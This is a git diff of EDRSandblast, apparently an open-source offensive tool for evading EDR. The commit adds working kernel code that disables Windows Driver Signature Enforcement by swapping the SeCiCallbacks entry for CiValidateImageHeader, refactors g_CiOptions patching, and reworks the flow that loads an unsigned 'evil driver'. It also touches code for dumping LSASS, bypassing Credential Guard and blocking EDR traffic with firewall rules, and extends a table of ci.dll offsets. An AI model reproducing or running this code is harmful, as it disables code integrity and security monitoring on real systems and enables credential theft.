diff --git a/EDRSandblast/Includes/CiOffsets.h b/EDRSandblast/Includes/CiOffsets.h index c8e6ad8..be99bf3 100644 --- a/EDRSandblast/Includes/CiOffsets.h +++ b/EDRSandblast/Includes/CiOffsets.h @@ -13,14 +13,15 @@ enum CiOffsetType { g_CiOptions = 0, + CiValidateImageHeader, _SUPPORTED_CI_OFFSETS_END }; union CiOffsets { // structure version of Ci.dll's offsets struct { - // Ci.dll's g_CiOptions DWORD64 g_CiOptions; + DWORD64 CiValidateImageHeader; } st; // array version (usefull for code factoring) @@ -30,8 +31,10 @@ union CiOffsets { union CiOffsets g_ciOffsets; // Return the offsets of CI!g_CiOptions for the specific Windows version in use. -void LoadCiOffsetsFromFile(TCHAR* CiOffsetFilename); +BOOL LoadCiOffsets(_In_opt_ TCHAR* ciOffsetFilename, BOOL canUseInternet); +BOOL CiOffsetsAreLoaded(); +BOOL LoadCiOffsetsFromFile(TCHAR* CiOffsetFilename); void SaveCiOffsetsToFile(TCHAR* CiOffsetFilename); -void LoadCiOffsetsFromInternet(BOOL delete_pdb); +BOOL LoadCiOffsetsFromInternet(BOOL delete_pdb); LPTSTR GetCiVersion(); LPTSTR GetCiPath(); \ No newline at end of file diff --git a/EDRSandblast/Includes/FileUtils.h b/EDRSandblast/Includes/FileUtils.h index fa4b2db..638ddcd 100644 --- a/EDRSandblast/Includes/FileUtils.h +++ b/EDRSandblast/Includes/FileUtils.h @@ -1,5 +1,7 @@ #pragma once +#include + PBYTE ReadFullFileW(LPCWSTR fileName); BOOL FileExistsA(LPCSTR szPath); diff --git a/EDRSandblast/Includes/KernelDSE.h b/EDRSandblast/Includes/KernelDSE.h index 3cb547b..735e1e9 100644 --- a/EDRSandblast/Includes/KernelDSE.h +++ b/EDRSandblast/Includes/KernelDSE.h @@ -8,6 +8,21 @@ #define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()) #endif + +enum dseDisablingMethods_e { + G_CIOPTIONS_PATCHING, + CALLBACK_SWAPPING, +}; + BOOLEAN IsCiEnabled(); DWORD64 FindCIBaseAddress(); BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue); + +BOOL disableDSE(enum dseDisablingMethods_e method, BOOL verbose); +BOOL reenableDSE(enum dseDisablingMethods_e method, BOOL verbose); + + +BOOL disableDSEbyCallbackSwapping(DWORD64* oldCiValidateImageHeaderEntryAddr); +BOOL reenableDSEbyCallbackSwapping(DWORD64 ciValidateImageHeaderEntryAddr); +BOOL disableDSEbyPatchingCiOptions(BOOL verbose, _Out_ ULONG* OldCiOptionsValue); +BOOL reenableDSEbyPatchingCiOptions(ULONG OldCiOptionsValue); \ No newline at end of file diff --git a/EDRSandblast/Includes/NtoskrnlOffsets.h b/EDRSandblast/Includes/NtoskrnlOffsets.h index 9e59983..e754b06 100644 --- a/EDRSandblast/Includes/NtoskrnlOffsets.h +++ b/EDRSandblast/Includes/NtoskrnlOffsets.h @@ -11,7 +11,7 @@ enum NtoskrnlOffsetType { - CREATE_PROCESS_ROUTINE, + CREATE_PROCESS_ROUTINE = 0, CREATE_THREAD_ROUTINE, LOAD_IMAGE_ROUTINE, PROTECTION_LEVEL, @@ -21,6 +21,7 @@ enum NtoskrnlOffsetType { PSPROCESSTYPE, PSTHREADTYPE, OBJECT_TYPE_CALLBACKLIST, + SECICALLBACKS, _SUPPORTED_NTOSKRNL_OFFSETS_END }; @@ -47,6 +48,8 @@ union NtoskrnlOffsets { DWORD64 psThreadType; // ntoskrnl _OBJECT_TYPE's CallbackList symbol offset DWORD64 object_type_callbacklist; + // ntoskrnl SeCiCallbacks array + DWORD64 seCiCallbacks; } st; // array version (usefull for code factoring) @@ -70,4 +73,6 @@ BOOL NtoskrnlOffsetsAreAllPresent(); BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent(); BOOL NtoskrnlNotifyRoutinesOffsetsArePresent(); BOOL NtoskrnlEtwtiOffsetsArePresent(); -BOOL NtoskrnlObjectCallbackOffsetsArePresent(); \ No newline at end of file +BOOL NtoskrnlObjectCallbackOffsetsArePresent(); + +LPTSTR GetNtoskrnlPath(); diff --git a/EDRSandblast/KernellandBypass/KernelDSE.c b/EDRSandblast/KernellandBypass/KernelDSE.c index 1700ab6..7a6a80b 100644 --- a/EDRSandblast/KernellandBypass/KernelDSE.c +++ b/EDRSandblast/KernellandBypass/KernelDSE.c @@ -1,6 +1,8 @@ -#include "windows.h" +#include +#include + +#include "CiOffsets.h" #include "KernelDSE.h" -#include "winternl.h" #include "KernelCallbacks.h" #include "NtoskrnlOffsets.h" #include "PrintFunctions.h" @@ -8,35 +10,158 @@ #include "KernelUtils.h" #include "tchar.h" - - BOOLEAN IsCiEnabled() +BOOLEAN IsCiEnabled() { - SYSTEM_CODEINTEGRITY_INFORMATION CiInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) }; - const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation, - &CiInfo, - sizeof(CiInfo), - NULL); - if (!NT_SUCCESS(Status)) - printf_or_not("[-] Failed to query code integrity status: %08X\n", Status); + SYSTEM_CODEINTEGRITY_INFORMATION CiInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) }; + const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation, + &CiInfo, + sizeof(CiInfo), + NULL); + if (!NT_SUCCESS(Status)) + printf_or_not("[-] Failed to query code integrity status: %08X\n", Status); - return (CiInfo.CodeIntegrityOptions & - (CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED; + return (CiInfo.CodeIntegrityOptions & + (CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED; } - DWORD64 FindCIBaseAddress() { - DWORD64 CiBaseAddress = FindKernelModuleAddressByName(TEXT("CI.dll")); - return CiBaseAddress; - } +DWORD64 FindCIBaseAddress() { + DWORD64 CiBaseAddress = FindKernelModuleAddressByName(TEXT("CI.dll")); + return CiBaseAddress; +} - /* - * Patches the gCiOptions global variable in CI.dll module to enable/disable DSE - * Warning: this technique does not work with KDP enabled (by default on Win 11). - * TODO: see https://www.fortinet.com/blog/threat-research/driver-signature-enforcement-tampering for ideas of new bypasses - */ - BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {//PRFIX : not KDP proof - *OldCiOptionsValue = ReadMemoryDWORD(CiVariableAddress); - //printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue); - WriteMemoryDWORD(CiVariableAddress, CiOptionsValue); - //printf("[+KERNELDSE] New value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, ReadMemoryDWORD64(CiVariableAddress)); - return TRUE; - } +/* +* Patches the gCiOptions global variable in CI.dll module to enable/disable DSE +* Warning: this technique does not work with KDP enabled (by default on Win 11). +*/ +BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {//PRFIX : not KDP proof + *OldCiOptionsValue = ReadMemoryDWORD(CiVariableAddress); + //printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue); + WriteMemoryDWORD(CiVariableAddress, CiOptionsValue); + //printf("[+KERNELDSE] New value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, ReadMemoryDWORD64(CiVariableAddress)); + return TRUE; +} + +BOOL disableDSEbyPatchingCiOptions(BOOL verbose, _Out_ ULONG* OldCiOptionsValue) { + *OldCiOptionsValue = 0; + if (!CiOffsetsAreLoaded()) { + return FALSE; + } + DWORD64 CiBaseAddress = FindCIBaseAddress(); + if (!CiBaseAddress) { + _putts_or_not(TEXT("[-] CI base address not found !\n")); + return FALSE; + } + DWORD64 g_CiOptionsAddress = CiBaseAddress + g_ciOffsets.st.g_CiOptions; + if (verbose) + _tprintf_or_not(TEXT("[+] [DSE-g_CiOptions patching] CI.dll kernel base address found at 0x%llx. The g_CiOptions is at %llx !\n"), CiBaseAddress, g_CiOptionsAddress); + + ULONG CiOptionsValue = 0; + return patch_gCiOptions(g_CiOptionsAddress, CiOptionsValue, OldCiOptionsValue); +} + +BOOL reenableDSEbyPatchingCiOptions(ULONG OldCiOptionsValue) { + if (!CiOffsetsAreLoaded()) { + return FALSE; + } + DWORD64 CiBaseAddress = FindCIBaseAddress(); + if (!CiBaseAddress) { + _putts_or_not(TEXT("[-] CI base address not found !\n")); + return FALSE; + } + DWORD64 g_CiOptionsAddress = CiBaseAddress + g_ciOffsets.st.g_CiOptions; + ULONG tmp; + return patch_gCiOptions(g_CiOptionsAddress, OldCiOptionsValue, &tmp); +} + +DWORD64 locateCiValidateImageHeaderEntry() +{ + DWORD64 seCiCallbacksAddr = FindNtoskrnlBaseAddress() + g_ntoskrnlOffsets.st.seCiCallbacks; + _tprintf_or_not(TEXT("[*] [DSE-callback swapping] SeCiCallbacks array's address: %p\n"), (PVOID)seCiCallbacksAddr); + + DWORD64 ciValidateImageHeaderAddr = FindCIBaseAddress() + g_ciOffsets.st.CiValidateImageHeader; + _tprintf_or_not(TEXT("[*] [DSE-callback swapping] Looking for entry equals to CiValidateImageHeader (%p)\n"), (PVOID)ciValidateImageHeaderAddr); + + DWORD64 zwFlushInstructionCache = GetKernelFunctionAddress("ZwFlushInstructionCache"); + if (zwFlushInstructionCache == 0) { + return FALSE; + } + + DWORD64 ciValidateImageHeaderEntryAddr = 0; + for (DWORD64 i = 0; i < 0x100; i += 8) { + DWORD64 entry = ReadMemoryDWORD64(seCiCallbacksAddr + i); + DWORD64 driverOffset; + TCHAR* driverEntry = FindDriverName(entry, &driverOffset); + _tprintf_or_not(TEXT("[*] [DSE-callback swapping] [0x%016llx (seCiCallbacks + 0x%llx)]\t\t= 0x%016llx (%s + 0x%llx)\n"), seCiCallbacksAddr + i, i, entry, driverEntry, driverOffset); + if (entry == ciValidateImageHeaderAddr || entry == zwFlushInstructionCache) { + ciValidateImageHeaderEntryAddr = seCiCallbacksAddr + i; + break; + } + } + if (!ciValidateImageHeaderEntryAddr) { + _tprintf_or_not(TEXT("[-] [DSE-callback swapping] Failed to locate an entry in SeCiCallbacks pointing at Ci!CiValidateImageHeader\n")); + return 0; + } + + _tprintf_or_not(TEXT("[*] [DSE-callback swapping] Found the Ci!CiValidateImageHeader in the array at %p\n"), (PVOID)ciValidateImageHeaderEntryAddr); + + return ciValidateImageHeaderEntryAddr; +} + +/* +* Replace the entry in nt!SeCiCallbacks pointing at Ci!CiValidateImageHeader by ZwFlushInstructionCache, +* i.e. a function that does nothing but returning 0 +*/ +BOOL disableDSEbyCallbackSwapping(DWORD64* oldCiValidateImageHeaderEntryAddr) { + DWORD64 ciValidateImageHeaderEntryAddr = locateCiValidateImageHeaderEntry(); + if (ciValidateImageHeaderEntryAddr == 0) { + return FALSE; + } + + // Resolving the kernel nt!zwFlushInstructionCache address + DWORD64 zwFlushInstructionCache = GetKernelFunctionAddress("ZwFlushInstructionCache"); + if (zwFlushInstructionCache == 0) { + return FALSE; + } + + WriteMemoryDWORD64(ciValidateImageHeaderEntryAddr, zwFlushInstructionCache); + _tprintf_or_not(TEXT("[+] Successfully disabled DSE by overwriting Ci!CiValidateImageHeader\n")); + + *oldCiValidateImageHeaderEntryAddr = ciValidateImageHeaderEntryAddr; + + return TRUE; +} + +BOOL reenableDSEbyCallbackSwapping(DWORD64 ciValidateImageHeaderEntryAddr) { + DWORD64 ciValidateImageHeaderAddr = FindCIBaseAddress() + g_ciOffsets.st.CiValidateImageHeader; + + WriteMemoryDWORD64(ciValidateImageHeaderEntryAddr, ciValidateImageHeaderAddr); + _tprintf_or_not(TEXT("[+] Successfully reenabled DSE by restoring Ci!CiValidateImageHeader entry in SeCiCallbacks\n")); + + return TRUE; +} + +ULONG g_OldCiOptionsValue; +DWORD64 oldCiValidateImageHeaderEntryAddr; +BOOL disableDSE(enum dseDisablingMethods_e method, BOOL verbose) { + switch (method) { + case G_CIOPTIONS_PATCHING: + return disableDSEbyPatchingCiOptions(verbose, &g_OldCiOptionsValue); + case CALLBACK_SWAPPING: + return disableDSEbyCallbackSwapping(&oldCiValidateImageHeaderEntryAddr); + default: + _tprintf_or_not(TEXT("Invalid DSE disabling method, aborting...")); + exit(1); + } +} +BOOL reenableDSE(enum dseDisablingMethods_e method, BOOL verbose) { + (void)verbose; + switch (method) { + case G_CIOPTIONS_PATCHING: + return reenableDSEbyPatchingCiOptions(g_OldCiOptionsValue); + case CALLBACK_SWAPPING: + return reenableDSEbyCallbackSwapping(oldCiValidateImageHeaderEntryAddr); + default: + _tprintf_or_not(TEXT("Invalid DSE disabling method, aborting...")); + exit(1); + } +} \ No newline at end of file diff --git a/EDRSandblast/KernellandBypass/KernelUtils.c b/EDRSandblast/KernellandBypass/KernelUtils.c index 6d359d0..2678d0b 100644 --- a/EDRSandblast/KernellandBypass/KernelUtils.c +++ b/EDRSandblast/KernellandBypass/KernelUtils.c @@ -76,6 +76,13 @@ TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset) { return NULL; } + if (minDiff == MAXDWORD64) { + if (offset) { + *offset = address; + } + return NULL; + } + if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) { if (offset) { diff --git a/EDRSandblast/Utils/CiOffsets.c b/EDRSandblast/Utils/CiOffsets.c index d66d48f..2f5fb37 100644 --- a/EDRSandblast/Utils/CiOffsets.c +++ b/EDRSandblast/Utils/CiOffsets.c @@ -9,6 +9,7 @@ #include #include +#include "FileUtils.h" #include "FileVersion.h" #include "PdbSymbols.h" #include "PrintFunctions.h" @@ -17,8 +18,48 @@ union CiOffsets g_ciOffsets = { 0 }; +BOOL CiOffsetsAreLoaded() { + return g_ciOffsets.ar[0] != 0; +} + + +BOOL LoadCiOffsets(_In_opt_ TCHAR* ciOffsetFilename, BOOL canUseInternet) { + if (CiOffsetsAreLoaded()) { + //offsets already loaded + return TRUE; + } + + // load via CSV first + if (ciOffsetFilename && FileExists(ciOffsetFilename)) { + if (LoadCiOffsetsFromFile(ciOffsetFilename)) { + return TRUE; + } + _putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of ci in use.")); + } + + // load via internet then + if (canUseInternet) { + _putts_or_not(TEXT("[+] Downloading ci related offsets from the MS Symbol Server (will drop a .pdb file in current directory)")); +#if _DEBUG + if (LoadCiOffsetsFromInternet(FALSE)) { +#else + if (LoadCiOffsetsFromInternet(TRUE)) { +#endif + _putts_or_not(TEXT("[+] Downloading offsets succeeded !")); + if (ciOffsetFilename && FileExists(ciOffsetFilename)) { + _putts_or_not(TEXT("[+] Saving them to the CSV file...")); + SaveCiOffsetsToFile(ciOffsetFilename); + } + return TRUE; + } + _putts_or_not(TEXT("[-] Downloading offsets from the internet failed !")); + } + + return FALSE; +} + // Return the offsets of CI!g_CiOptions for the specific Windows version in use. -void LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) { +BOOL LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) { LPTSTR ciVersion = GetCiVersion(); _tprintf_or_not(TEXT("[*] System's ci.dll file version is: %s\n"), ciVersion); @@ -27,7 +68,7 @@ void LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) { if (offsetFileStream == NULL) { _putts_or_not(TEXT("[!] Ci offsets CSV file not found / invalid. A valid offset file must be specifed!")); - return; + return FALSE; } TCHAR lineCiVersion[256]; @@ -46,9 +87,10 @@ void LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) { } } fclose(offsetFileStream); + return g_ciOffsets.ar[0] != 0; } -void SaveCiOffsetsToFile(TCHAR* ciOffsetFilename) { +void SaveCiOffsetsToFile(TCHAR * ciOffsetFilename) { LPTSTR ciVersion = GetCiVersion(); FILE* offsetFileStream = NULL; @@ -63,20 +105,22 @@ void SaveCiOffsetsToFile(TCHAR* ciOffsetFilename) { for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) { _ftprintf(offsetFileStream, TEXT(",%llx"), g_ciOffsets.ar[i]); } - _fputts(TEXT(""), offsetFileStream); + _ftprintf(offsetFileStream, TEXT("\n")); fclose(offsetFileStream); } -void LoadCiOffsetsFromInternet(BOOL delete_pdb) { +BOOL LoadCiOffsetsFromInternet(BOOL delete_pdb) { LPTSTR ciPath = GetCiPath(); symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(ciPath); if (sym_ctx == NULL) { - return; + return FALSE; } g_ciOffsets.st.g_CiOptions = GetSymbolOffset(sym_ctx, "g_CiOptions"); + g_ciOffsets.st.CiValidateImageHeader = GetSymbolOffset(sym_ctx, "CiValidateImageHeader"); UnloadSymbols(sym_ctx, delete_pdb); + return CiOffsetsAreLoaded(); } TCHAR g_ciPath[MAX_PATH] = { 0 }; diff --git a/EDRSandblast/Utils/NtoskrnlOffsets.c b/EDRSandblast/Utils/NtoskrnlOffsets.c index 7213dc7..7556804 100644 --- a/EDRSandblast/Utils/NtoskrnlOffsets.c +++ b/EDRSandblast/Utils/NtoskrnlOffsets.c @@ -92,6 +92,7 @@ void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb) { g_ntoskrnlOffsets.st.psProcessType = GetSymbolOffset(sym_ctx, "PsProcessType"); g_ntoskrnlOffsets.st.psThreadType = GetSymbolOffset(sym_ctx, "PsThreadType"); g_ntoskrnlOffsets.st.object_type_callbacklist = GetFieldOffset(sym_ctx, "_OBJECT_TYPE", L"CallbackList"); + g_ntoskrnlOffsets.st.seCiCallbacks = GetSymbolOffset(sym_ctx, "SeCiCallbacks"); UnloadSymbols(sym_ctx, delete_pdb); } diff --git a/EDRSandblast_CLI/EDRSandblast.c b/EDRSandblast_CLI/EDRSandblast.c index f0919b9..a8f45f0 100644 --- a/EDRSandblast_CLI/EDRSandblast.c +++ b/EDRSandblast_CLI/EDRSandblast.c @@ -56,7 +56,7 @@ void PrintBanner() { const TCHAR edrsandblast[] = TEXT(" ______ _____ _____ _____ _ _ _ _ \r\n | ____| __ \\| __ \\ / ____| | | | | | | | \r\n | |__ | | | | |__) | (___ __ _ _ __ __| | |__ | | __ _ ___| |_ \r\n | __| | | | | _ / \\___ \\ / _` | \'_ \\ / _` | \'_ \\| |/ _` / __| __|\r\n | |____| |__| | | \\ \\ ____) | (_| | | | | (_| | |_) | | (_| \\__ | |_ \r\n |______|_____/|_| \\_|_____/ \\__,_|_| |_|\\__,_|_.__/|_|\\__,_|___/\\__|\n"); const TCHAR defcon[] = TEXT("D3FC0N 30 Edition"); const TCHAR authors[2][256] = { TEXT("Thomas DIOT (@_Qazeer)"), TEXT("Maxime MEIGNAN (@th3m4ks)") }; - + srand((unsigned int)time(NULL)); int r = rand() % 2; @@ -94,6 +94,7 @@ int _tmain(int argc, TCHAR** argv) { [--nt-offsets ] [--wdigest-offsets ] [--ci-offsets ] [--internet]\n\ [--vuln-driver ] [--vuln-service ] \n\ [--unsigned-driver ] [--unsigned-service ] \n\ + [--no-kdp]\n\ [-o | --dump-output ]\n"); const TCHAR extendedUsage[] = TEXT("\n\ -h | --help Show this help message and exit.\n\ @@ -160,6 +161,7 @@ Driver sideloading options:\n\ --unsigned-driver Path to the unsigned driver file.\n\ Default to 'evil.sys' in the current directory.\n\ --unsigned-service Name of the unsigned driver's service to intall / start.\n\ +--no-kdp Switch to g_CiOptions patching method for disabling DSE (default is callback swapping).\n\ \n\ \n\ Offset-related options:\n\ @@ -198,6 +200,7 @@ Dump options:\n\ TCHAR unsignedDriverPath[MAX_PATH] = { 0 }; TCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE; TCHAR evilDriverDefaultName[] = DEFAULT_EVIL_DRIVER_FILE; + enum dseDisablingMethods_e dseMethod = CALLBACK_SWAPPING; TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR ciOffsetCSVPath[MAX_PATH] = { 0 }; @@ -291,6 +294,9 @@ Dump options:\n\ } SetEvilDriverServiceName(argv[i]); } + else if (_tcsicmp(argv[i], TEXT("--no-kdp")) == 0) { + dseMethod = G_CIOPTIONS_PATCHING; + } else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) { i++; if (i > argc) { @@ -536,14 +542,17 @@ Dump options:\n\ } if (startMode != audit) { - +#ifdef _DEBUG + if (1) { +#else if (isSafeToExecutePayloadKernelland && (isSafeToExecutePayloadUserland || directSyscalls)) { +#endif _putts_or_not(TEXT("[+] Process is \"safe\" to launch our payload\n")); // Do the operation the tool was started for. switch (startMode) { - // Start a process executing cmd.exe. + // Start a process executing cmd.exe. case cmd: _putts_or_not(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n") TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n") @@ -557,7 +566,7 @@ Dump options:\n\ _tsystem(cmdPath); break; - // Dump the LSASS process in a new thread. + // Dump the LSASS process in a new thread. case dump: if (kernelMode) { if (g_ntoskrnlOffsets.st.eprocess_protection != 0x0) { @@ -634,7 +643,7 @@ Dump options:\n\ } break; - // Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory. + // Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory. case credguard: if (_tcslen(wdigestOffsetCSVPath) == 0) { TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv"); @@ -690,7 +699,7 @@ Dump options:\n\ } break; - // Add firewall rules to block EDR network communications. + // Add firewall rules to block EDR network communications. case firewall: { hrStatus = S_OK; @@ -713,100 +722,75 @@ Dump options:\n\ case load_unsigned_driver: { if (_tcslen(ciOffsetCSVPath) == 0) { - TCHAR CiOffsetCSVName[] = TEXT("\\CiOffsets.csv"); - _tcsncat_s(ciOffsetCSVPath, _countof(ciOffsetCSVPath), currentFolderPath, _countof(currentFolderPath)); - _tcsncat_s(ciOffsetCSVPath, _countof(ciOffsetCSVPath), CiOffsetCSVName, _countof(CiOffsetCSVName)); + PathAppend(ciOffsetCSVPath, currentFolderPath); + PathAppend(ciOffsetCSVPath, TEXT("\\CiOffsets.csv")); } - if (FileExists(ciOffsetCSVPath)) { - LoadCiOffsetsFromFile(ciOffsetCSVPath); - if (g_ciOffsets.st.g_CiOptions == 0x0) { - _putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of ci in use.")); - } - else { - if (verbose) { - _tprintf_or_not(TEXT("[+] g_CiOptions offset found using %s file : 0x%llx\n"), ciOffsetCSVPath, g_ciOffsets.st.g_CiOptions); - } - } - } + BOOL ciOffsetsWereLoaded = LoadCiOffsets(ciOffsetCSVPath, internet); - if (internet && (g_ciOffsets.st.g_CiOptions == 0x0)) { - _putts_or_not(TEXT("[+] Downloading ci related offsets from the MS Symbol Server (will drop a .pdb file in current directory)")); -#if _DEBUG - LoadCiOffsetsFromInternet(FALSE); -#else - LoadCiOffsetsFromInternet(TRUE); -#endif - if (g_ciOffsets.st.g_CiOptions == 0x0) { - _putts_or_not(TEXT("[-] Downloading offsets from the internet failed !")); - - } - else { - _putts_or_not(TEXT("[+] Downloading offsets succeeded !")); - if (FileExists(ciOffsetCSVPath)) { - _putts_or_not(TEXT("[+] Saving them to the CSV file...")); - SaveCiOffsetsToFile(ciOffsetCSVPath); - } - } - if (verbose) { - _tprintf_or_not(TEXT("[+] g_CiOptions offset found using internet MS Symbol Server : 0x%llx\n"), g_ciOffsets.st.g_CiOptions); - } - } - - if (g_ciOffsets.st.g_CiOptions == 0x0) { + if (!ciOffsetsWereLoaded) { _putts_or_not(TEXT("[!] The offsets must be computed using the provided script and added to the offsets CSV file (or use --internet). Unsigned driver won't be loaded ...\n")); lpExitCode = EXIT_FAILURE; + break; + } + + _putts_or_not(TEXT("")); + if (!kernelMode) { + lpExitCode = EXIT_FAILURE; + break; + } + if (_tcslen(unsignedDriverPath) == 0) { + PathAppend(unsignedDriverPath, currentFolderPath); + PathAppend(unsignedDriverPath, evilDriverDefaultName); + } + if (!FileExists(unsignedDriverPath)) { + _tprintf_or_not(TEXT("[!] Required driver file not present at %s\nExiting...\n"), unsignedDriverPath); + lpExitCode = EXIT_FAILURE; + break; + } + + BOOL ciWasEnabled = IsCiEnabled(); + if (ciWasEnabled) + { + BOOL disablingWasSuccessful = disableDSE(dseMethod, verbose); + if (!disablingWasSuccessful) { + _putts_or_not(TEXT("[-] DSE could not have been disabled, aborting ...\n")); + lpExitCode = EXIT_FAILURE; + break; + } + _putts_or_not(TEXT("[+] DSE is now disabled")); } else { - _putts_or_not(TEXT("")); - if (kernelMode) { - DWORD64 CiBaseAddress = 0; - DWORD64 g_CiOptionsAddress = 0; - if (IsCiEnabled()) - { - CiBaseAddress = FindCIBaseAddress(); - if (!CiBaseAddress) { - _putts_or_not(TEXT("[-] CI base address not found !\n")); - } - else { - g_CiOptionsAddress = CiBaseAddress + g_ciOffsets.st.g_CiOptions; - if (verbose) - _tprintf_or_not(TEXT("[+] CI.dll kernel base address found at 0x%llx. The g_CiOptions is at %llx !\n"), CiBaseAddress, g_CiOptionsAddress); - if (_tcslen(unsignedDriverPath) == 0) { - PathAppend(unsignedDriverPath, currentFolderPath); - PathAppend(unsignedDriverPath, evilDriverDefaultName); - } - if (!FileExists(unsignedDriverPath)) { - _tprintf_or_not(TEXT("[!] Required driver file not present at %s\nExiting...\n"), unsignedDriverPath); - return EXIT_FAILURE; - } - _putts_or_not(TEXT("[+] Using the vulnerable driver to disable CI...")); // debug print - ULONG CiOptionsValue = 0; - ULONG OldCiOptionsValue; - patch_gCiOptions(g_CiOptionsAddress, CiOptionsValue, &OldCiOptionsValue); - LPTSTR evilServiceNameIfAny = NULL; - BOOL isEvilDriverAlreadyRunning = IsDriverServiceRunning(unsignedDriverPath, &evilServiceNameIfAny); - if (isEvilDriverAlreadyRunning) { - _putts_or_not(TEXT("[+] Evil driver is already running!\n")); - SetEvilDriverServiceName(evilServiceNameIfAny); - } - else { - _putts_or_not(TEXT("[+] Installing evil driver...")); - status = InstallEvilDriver(unsignedDriverPath); - if (status != TRUE) - _putts_or_not(TEXT("[!] An error occurred while installing the evil driver")); - } - _putts_or_not(TEXT("[+] Using the vulnerable driver to reset original CI status")); // debug print - patch_gCiOptions(g_CiOptionsAddress, OldCiOptionsValue, &OldCiOptionsValue); - } - } - else { - // CI is already disabled, just load the driver - // TODO FIX : logic error, evil driver is not loadded if DSE is already disabled - _putts_or_not(TEXT("[-] CI is already disabled!\n")); // debug print - } + _putts_or_not(TEXT("[-] CI is already disabled!\n")); + } + + + LPTSTR evilServiceNameIfAny = NULL; + BOOL isEvilDriverAlreadyRunning = IsDriverServiceRunning(unsignedDriverPath, &evilServiceNameIfAny); + if (isEvilDriverAlreadyRunning) { + _putts_or_not(TEXT("[+] Evil driver is already running!\n")); + SetEvilDriverServiceName(evilServiceNameIfAny); + } + else { + _putts_or_not(TEXT("[+] Installing evil driver...")); + status = InstallEvilDriver(unsignedDriverPath); + if (status != TRUE) { + _putts_or_not(TEXT("[!] An error occurred while installing the evil driver")); + lpExitCode = EXIT_FAILURE; + break; } } + if (ciWasEnabled) { + BOOL reenablingWasSuccessful = reenableDSE(dseMethod, verbose); + if (!reenablingWasSuccessful) { + _putts_or_not(TEXT("[-] DSE could not have been re-enabled; WARNING: this might trigger a PatchGuard BSoD in the following minutes...\n")); + lpExitCode = EXIT_FAILURE; + break; + } + _putts_or_not(TEXT("[+] DSE is enabled again")); + + } + break; } } diff --git a/Offsets/CiOffsets.csv b/Offsets/CiOffsets.csv index 46312d5..33fc80d 100644 --- a/Offsets/CiOffsets.csv +++ b/Offsets/CiOffsets.csv @@ -1,186 +1,360 @@ -g_CiOptionsOffset -ci_10240-17673.dll,16c10 -ci_10240-17797.dll,16c10 -ci_10240-17861.dll,16c10 -ci_10240-17831.dll,16c10 -ci_10240-17319.dll,16c10 -ci_10240-17889.dll,16c10 -ci_10240-17976.dll,16c10 -ci_10240-16384.dll,16c10 -ci_10240-19119.dll,16c10 -ci_10586-0.dll,16c30 -ci_10586-1232.dll,16c30 -ci_10586-1478.dll,16c30 -ci_14393-0.dll,19b50 -ci_10586-839.dll,16c30 -ci_10586-1540.dll,16c30 -ci_14393-2214.dll,19b50 -ci_14393-2273.dll,19b50 -ci_14393-2248.dll,19b50 -ci_14393-206.dll,19b50 -ci_14393-2312.dll,19b50 -ci_14393-2189.dll,19b50 -ci_14393-2339.dll,19b50 -ci_14393-2395.dll,19b50 -ci_14393-2485.dll,19b50 -ci_14393-3053.dll,19b50 -ci_14393-3115.dll,19b50 -ci_14393-3297.dll,19b50 -ci_14393-3323.dll,19b50 -ci_14393-2636.dll,19b50 -ci_14393-3383.dll,19b50 -ci_14393-3930.dll,19b70 -ci_14393-4350.dll,19b70 -ci_14393-4583.dll,19b70 -ci_14393-4704.dll,19b70 -ci_14393-4770.dll,19b70 -ci_14393-3986.dll,19b70 -ci_14393-5125.dll,19b70 -ci_14393-4530.dll,19b70 -ci_14393-5006.dll,19b70 -ci_14393-5501.dll,19b50 -ci_14393-726.dll,19b50 -ci_14393-953.dll,19b50 -ci_15063-0.dll,1bbb0 -ci_14393-5192.dll,19b50 -ci_15063-1058.dll,1bbb0 -ci_15063-1091.dll,1bbb0 -ci_15063-1155.dll,1bbb0 -ci_15063-1324.dll,1bbb0 -ci_15063-1235.dll,1bbb0 -ci_16299-95.dll,1cd10 -ci_15063-296.dll,1bbb0 -ci_15063-968.dll,1bbb0 